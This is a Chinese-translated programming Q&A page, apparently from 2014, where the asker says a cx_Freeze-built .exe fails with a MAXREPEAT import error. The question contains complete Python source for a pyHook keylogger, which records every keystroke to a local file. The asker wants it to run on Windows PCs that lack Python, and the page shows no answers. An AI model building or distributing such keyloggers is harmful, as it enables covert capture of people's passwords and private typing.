从python创建的cx_Freeze程序将无法运行

时间:2014-05-18 10:43:42

标签: python-3.3 importerror cx-freeze

我正在尝试创建一个我在互联网上找到的python键盘记录程序的.exe版本,因此它可以在没有安装python的Windows PC上运行。 该程序的代码如下:

import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
    logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
    if Char.Ascii==27:
        logging.log(10,'ESC')
    elif Char.Ascii==8:
        logging.log(10,'BACKSPACE'
    else:
        logging.log(10,chr(Char.Ascii))  
    if chr(Char.Ascii)=='¬':
        exit()
    return True

hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()

使用cx_Freeze的build函数创建.exe文件后,运行该文件时,单独的错误框中会出现以下错误:

Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT

我根本不了解cx_Freeze,并且非常感谢任何帮助,因为即使我尝试使用诸如hello_world.py程序之类的简单程序,.exe文件也没有。似乎工作。

0 个答案:

没有答案